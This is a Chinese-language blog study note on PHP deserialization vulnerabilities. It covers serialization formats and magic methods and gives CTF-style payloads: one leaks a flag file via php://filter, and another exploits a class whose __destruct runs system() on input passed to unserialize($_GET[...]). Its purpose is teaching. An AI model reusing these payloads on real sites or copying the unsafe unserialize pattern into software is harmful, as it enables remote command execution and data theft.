• php反序列化个人笔记


    反序列化

    什么是反序列化?

    格式转换

    序列化:对象转换为字符串或者数组等格式

    反序列化:将数组或字符串转换成对象

    为什么会出现安全漏洞?

    魔术方法

    如何利用漏洞?

    通过构造pop链,找到代码的逻辑漏洞,进行getshell,rce等操作

    反序列化利用分为三类

    • 魔术方法的调用逻辑
    • 语言原生类的调用逻辑,如SoapClient
    • 语言自身的安全缺陷,如CVE-2016-7124

    序列化

    在各类语言中,将对象的状态信息转换为可存储或可传输的过程就是序列化,序列化的逆过程就是便是反序列化,主要是为了方便对象传输。所以当我们把一段php代码序列化之后,通过GET or POST方法传进去,php引擎是可以通过unserialize函数读取的
    PHP基本类型的序列化

    bool:  b:value =>b:0
    int:   i:value=>i:1
    str:   s:length:“value”;=>s:4"aaaa"
    array :a::{key:value pairs};=>a:{i:1;s:1:“a”}
    object:O::
    NULL:  N

    序列化前

    
    class test{
    	public $a=false;
    	public $b=3;
    	public $c='hello';
    	public $d=array(1,2,3,'hello');
    	public $e=NULL;
    }
    $test = new test;
    echo serialize($test);
    ?>

    序列化后

    O:4:“test”:5:{s:1:“a”;b:0;s:1:“b”;i:3;s:1:“c”;s:5:“hello”;s:1:“d”;a:4:{i:0;i:1;i:1;i:2;i:2;i:3;i:3;s:5:“hello”;}s:1:“e”;N;}

    R与r

    当两个对象本来就是同一个对象时会出现的对象将会以小写r表示。
    不过基础类型不受此条件限制,总是会被序列化

    为什么?(看完“分析”以后再看这里)

    
    $x = new stdClass;
    $x->a = 1; $x->b = $x->a;
    echo serialize($x);
    // O:8:"stdClass":2:{s:1:"a";i:1;s:1:"b";i:1;} // 基础类型
    $y = new stdClass;
    $x->a = $y; $x->b = $y;
    echo serialize($x);
    // O:8:"stdClass":2:{s:1:"a";O:8:"stdClass":0:{}s:1:"b";r:2;}
    // id(a) == id(b),二者都是$y;
    $x->a = $x; $x->b = $x;
    // O:8:"stdClass":2:{s:1:"a";r:1;s:1:"b";r:1;}

    而当PHP中的一个对象如果是对另一对象显式的引用,那么在同时对它们进行序列化时将通过大写R表示

    
    $x = new stdClass;
    $x->a = 1;
    $x->b = &$x->a;
    echo serialize($x);
    // O:8:"stdClass":2:{s:1:"a";i:1;s:1:"b";R:2;}

    魔术方法

    魔术方法 说明
    __construct() 构造函数,当对象new时会自动调用
    __destruct() 折构函数,当对象被销毁时会被自动调用
    __wakeup() unserialize() 时会被自动调用,在其之前
    __invoke() 当尝试以调用函数的方法调用一个对象时,会被自动调用
    __call() 当尝试以调用函数的方法调用一个对象时,会被自动调用
    __callStack() 在静态上下文中调用不可访问的方法时触发
    __get() 用于从不可访问的属性读取数据
    __set() 用于将数据写入不可访问的属性
    __isset() 在不可访问的属性上调用isset()或empty()触发
    __unset() 在不可访问的属性上使用unset()时触发
    __toString() 在类被当作字符串使用时触发,如echo
    __sleep() serialize()函数会检查类中是否存在一个魔术方法__sleep,如果存在,该方法会被优先调用

    这里用到了php魔术方法,简单概括就是当对某个对象进行某种操作(创建,销毁等)时,就会自动调用魔术方法

    eg:例如题目中有一个类名为Clazz的class类,比如当我 们unserialize了一个Clazz,在这之前会调用__wakeup,在这之后会调用 destruct

    exp:

     
    class Clazz
    {
        public $a;
        public $b;
     
        public function __wakeup()
        {
            $this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
        }
        public function __destruct()
        {
            echo $this->b;
        }
    }
    $a=new Clazz();
    $a->b=&$a->a;
    echo serialize($a);
    ?> 

    序列化后得到payload:O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}

    R为2代表是第二个反序列化元素被引用

    POST方法传进data就拿到了base64的flagPD8NCiRGTEFHPSAiRkxBR3t5MHVfYXJlX2wwdmUhISEhfSINCj8+DQo=

    
    $FLAG= "FLAG{y0u_are_l0ve!!!!}"
    ?>
    
    class Clazz
    {
        public $a;
        public $b;
    } 
    $C=new Clazz();
    $C->b=&$C->a;
    echo serialize($C);

    这样写exp也是可以的,在exp里我们只需要让b成为a的引用,让b和a的内存地址是一样的。

    当我们把payload传进data之后,在@unserialize($_POST['data'])前会调用wakeup魔术方法,然后flag会传进a的内存地址,然后在序列化过程中将属性b设置为属性a的应用,然后就就会调用destruct魔术方法echo出b

    这里的 @ 前缀作用如下:

    1. 抑制错误:如果 unserialize($_POST['data']) 在执行过程中遇到错误(如序列化数据格式不正确、类不存在、魔术方法引发的异常等),@ 运算符会阻止这些错误信息被输出到浏览器或日志中。这对于攻击者来说可能是有利的,因为他们可以隐藏其攻击尝试的痕迹,避免被管理员或其他监控系统检测到。
    2. 继续执行:即使 unserialize() 函数内部发生了错误,由于错误被抑制,程序不会立即停止执行。这使得攻击者有机会尝试多种不同的攻击载荷,而不必担心单次尝试失败导致整个请求中断。
    3. 安全风险:使用 @ 错误抑制符可能导致安全问题难以被及时发现和修复。由于错误信息被隐藏,管理员可能无法意识到系统存在潜在的反序列化攻击或其他安全漏洞。此外,攻击者也可能利用 @ 运算符掩盖其利用反序列化漏洞执行恶意代码的过程。

    核心例子

    这是一段php代码

    
    class C{
    	public $cmd = 'ipconfig';
    	public function __destruct(){
    		system($this->cmd);
    	}
    	public function __construct(){
    	echo 'xiaodisec'.'
    '
    ; } } $cc = new C(); echo serialize($cc); ?>

    这是执行效果,会echo一个xiaodisec,再打印出序列化后的cc,然后执行ipconfig

    我们把代码改一下

    
    class C{
    	public $cmd = 'ipconfig';
    	public function __destruct(){
    		system($this->cmd);
    	}
    	public function __construct(){
    	echo 'xiaodisec'.'
    '
    ; } } //$cc = new C(); //echo serialize($cc);//O:1:"C":1:{s:3:"cmd";s:8:"ipconfig";} unserialize($_GET[c]); ?>

    我们把上面构造好的exp序列化之后,传入c中,可以完成ipconfig

    然而我们可以做的并不止这个,在我们的payloadO:1:"C":1:{s:3:"cmd";s:8:"ipconfig";}中,我们要执行的命令时ipconfig,他是一个public变量,我们在传入这个序列化字符串的时候,还可以做到更改这个变量的信息,例如:O:1:"C":1:{s:3:"cmd";s:3:"ver";}

    (ver:查看当前操作系统的版本号)


    __EOF__

  • 本文作者: YourSol
  • 本文链接: https://www.cnblogs.com/sol9/p/18246908
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 除特殊说明外,转载请注明出处~[知识共享署名-相同方式共享 4.0 国际许可协议]
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    (七)Python函数和lambda表达式
    Android动态获取手机是否是充电状态
    OCR 文字检测,可微的二值化(Differentiable Binarization --- DB)
    【饮食的迷思--人类必看的真正的饮食长寿指南--来自英国国王学院顶级遗传性流行病教授】---智人必须会的生活技能 by Tim Spector--饮食的迷思
    【小白学机器学习13】一文理解假设检验的反证法,H0如何设计的,什么时候用左侧检验和右侧检验,等各种关于假设检验的基础知识
    Neural Controlled Differential Equations forIrregular Time Series(NIPS2020)
    求质数(埃氏筛法)代码
    【云原生 | Kubernetes 系列】K8s 实战 如何给应用注入数据 II 将pod数据传递给容器
    UEFI FD 文件分析
    Springboot实战:员工管理系统
  • 原文地址:https://www.cnblogs.com/Sol9/p/18246908